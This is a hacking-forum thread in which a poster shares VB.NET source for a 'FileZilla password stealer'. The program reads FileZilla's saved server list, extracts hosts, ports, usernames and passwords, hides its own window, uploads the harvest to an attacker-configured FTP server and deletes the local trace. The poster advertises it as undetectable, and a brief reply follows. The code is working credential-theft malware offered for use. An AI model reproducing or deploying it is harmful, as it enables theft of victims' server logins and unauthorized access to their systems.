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Thread: [\[VB.NET\] Filezilla PW Stealer](#)

codepoet - May 1, 2010, 4:12 pm

It extracts the ftp history from filezilla and sends to your ftp server. Just edit the strings in config() near the top of the source.... and test it. Also fud btw, as it doesn't act as a virus.

add 2 richtextbox's named:

1. rtb1
2. rtb2

Make sure you set them to "visible = false" or the whole form to 0% opacity.

```
Code Imports Microsoft.Win32
Imports System.IO
Imports System.IO.File
```

```
Public Class Form1
```

```
Sub config() '////////////////////////////////////
ftp_pass = "mypassword123"
ftp_user = "ftpuser13576"
ftp_path = "ftp.myaccount.com/logs/fz/"
'note: ftp_path must end with a forward slash
End Sub '////////////////////////////////////
```

```
Const n As String = vbCrLf
Dim filezilla_recent As String
```

```
Sub filezilla()
```

```
Try
'//extract recent logins from FileZilla
rtb1.LoadFile(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &
"\FileZilla\recentservers.xml", RichTextBoxStreamType.PlainText)
rtb2.Text &= "### FileZilla ###" & n & "-----" & n
For Each Line In rtb1.Lines
If Line.Contains("<Host>") Then
rtb2.Text &= "Host: " & _
Line.Replace("<Host>", "").Replace("</Host>", "").Replace(" ", "")
End If
If Line.Contains("<Port>") Then
rtb2.Text &= ":" & _
Line.Replace("<Port>", "").Replace("</Port>", "").Replace(" ", "") & n
End If
If Line.Contains("<User>") Then
rtb2.Text &= "User: " & _
Line.Replace("<User>", "").Replace("</User>", "").Replace(" ", "")
End If
If Line.Contains("<Pass>") Then
```

```

        rtb2.Text &= " Pass: " & _
        Line.Replace("<Pass>", "").Replace("</Pass>", "").Replace("
", "") & n & _
        "-----" & n
    End If
Next
filezilla_recent = rtb2.Text & n
rtb1.Dispose()
rtb2.Dispose()
Catch ex As Exception
End Try

End Sub

```

```

Private Sub Form1_Load(ByVal sender As System.Object, _
    ByVal e As System.EventArgs) Handles MyBase.Load

```

```

    Try

        filezilla()

        config()

        write_file()

    Catch ex As Exception
    End Try
End
End Sub

Dim ftp_user As String
Dim ftp_pass As String
Dim ftp_path As String

Sub write_file()
    '//where to save the temp file
    Dim file_loc As String = Application.StartupPath & "\" & Environment.UserName & ".txt"

    '//creat temp file
    Dim oWrite As System.IO.StreamWriter
    oWrite = File.CreateText(file_loc)
    oWrite.WriteLine(filezilla_recent)
    oWrite.Close()

    Try
        '//attempt to upload to remote ftp server
        My.Computer.Network.UploadFile(file_loc, "ftp://" & ftp_user & ":" & ftp_pass & "@" &
ftp_path & Environment.UserName & ".txt")
        Catch ex As Exception

    End Try

```

```
'//delete file
Dim f2d As String
f2d = file_loc
If System.IO.File.Exists(f2d) = True Then
    System.IO.File.Delete(f2d)
End If
```

End Sub

End Class

originally written by: Xdem0

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maype - May 1, 2010, 4:13 pm

This is already posted on This section But Thanks anyway !!

EDIT:The only one has been not posted is with PHP Sending

codepoet - May 1, 2010, 4:15 pm

im glad you like it...